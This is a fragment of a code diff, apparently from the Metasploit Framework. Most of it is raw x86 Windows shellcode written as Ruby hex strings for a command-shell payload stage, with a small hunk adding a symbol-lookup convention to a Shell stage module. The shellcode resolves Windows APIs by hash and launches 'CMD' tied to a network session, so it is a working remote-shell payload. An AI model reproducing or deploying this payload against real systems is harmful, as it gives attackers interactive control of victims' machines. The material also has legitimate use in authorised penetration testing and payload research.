"\x00\x60\x8b\x6c\x24\x28\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"+
"\x4f\x18\x8b\x5f\x20\x01\xeb\xe3\x30\x49\x8b\x34\x8b\x01\xee\x31"+
"\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54"+
"\x24\x24\x75\xe3\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c"+
"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc2\x08\x00\x6a\x30\x59"+
"\x64\x8b\x31\x8b\x76\x0c\x8b\x76\x1c\xad\x8b\x58\x08\x5e\x53\x68"+
"\x8e\x4e\x0e\xec\xff\xd6\x97\x53\x56\x57\x8d\x44\x24\x10\x50\xff"+
"\xd7\x50\x50\x50\x68\xb6\x19\x18\xe7\xff\xd6\x97\x68\xa4\x19\x70"+
"\xe9\xff\xd6\x95\x68\x08\x92\xe2\xed\xff\xd6\x50\x57\x55\x83\xec"+
"\x10\x89\xe5\x89\xee\x6a\x01\x6a\x00\x6a\x0c\x89\xe1\x6a\x00\x51"+
"\x56\xad\x56\x53\x68\x80\x8f\x0c\x17\xff\x55\x20\x89\xc7\xff\xd0"+
"\x89\xe0\x6a\x00\x50\x8d\x75\x08\x56\x8d\x75\x0c\x56\xff\xd7\x68"+
"\x43\x4d\x44\x00\x89\xe2\x31\xc0\x8d\x7a\xac\x6a\x15\x59\xf3\xab"+
"\x83\xec\x54\xc6\x42\xbc\x44\x66\xc7\x42\xe8\x01\x01\x8b\x75\x08"+
"\x89\x72\xfc\x89\x72\xf8\x8b\x75\x04\x89\x72\xf4\x8d\x42\xbc\x54"+
"\x50\x51\x51\x51\x41\x51\x49\x51\x51\x52\x51\x53\x68\x72\xfe\xb3"+
"\x16\xff\x55\x20\xff\xd0\x31\xc0\xb4\x04\x96\x29\xf4\x89\xe7\x6a"+
"\x64\x53\x68\xb0\x49\x2d\xdb\xff\x55\x20\xff\xd0\x31\xc0\x50\x57"+
"\x50\x50\x50\xff\x75\x0c\x53\x68\x11\xc4\x07\xb4\xff\x55\x20\xff"+
"\xd0\x85\xc0\x74\x74\x31\xc0\x3b\x07\x74\x36\xe8\x77\x00\x00\x00"+
"\x50\x89\xe1\x50\x51\x56\x57\xff\x75\x0c\x53\x68\x16\x65\xfa\x10"+
"\xff\x55\x20\xff\xd0\x85\xc0\x74\x50\x31\xc0\x59\x39\xc8\x74\x11"+
"\x50\x51\x57\xff\x75\x28\xff\x55\x10\x31\xc9\x39\xc8\x7c\x3a\xeb"+
"\xab\x89\xe0\xe8\x3f\x00\x00\x00\x31\xc0\x50\x56\x57\xff\x75\x28"+
"\xff\x55\x14\x31\xc9\x39\xc8\x7c\x86\x74\x1e\x51\x89\xe2\x51\x52"+
"\x50\x57\xff\x75\x00\x53\x68\x1f\x79\x0a\xe8\xff\x55\x20\xff\xd0"+
"\x85\xc0\x74\x05\x31\xc0\x59\xeb\xc8\x53\x68\x7e\xd8\xe2\x73\xff"+
"\x55\x20\x31\xc9\x51\xff\xd0\x50\x54\x68\x7e\x66\x04\x80\xff\x75"+
"\x28\xff\x55\x18\x85\xc0\x58\x75\xe0\xc3"
}
))
end
end
end end end end

View File

@ -20,7 +20,8 @@ module Shell
'Session' => Msf::Sessions::CommandShell, 'Session' => Msf::Sessions::CommandShell,
'PayloadCompat' => 'PayloadCompat' =>
{ {
'Convention' => 'sockedi' 'Convention' => 'sockedi',
'SymbolLookup' => 'ebp',
}, },
'Stage' => 'Stage' =>
{ {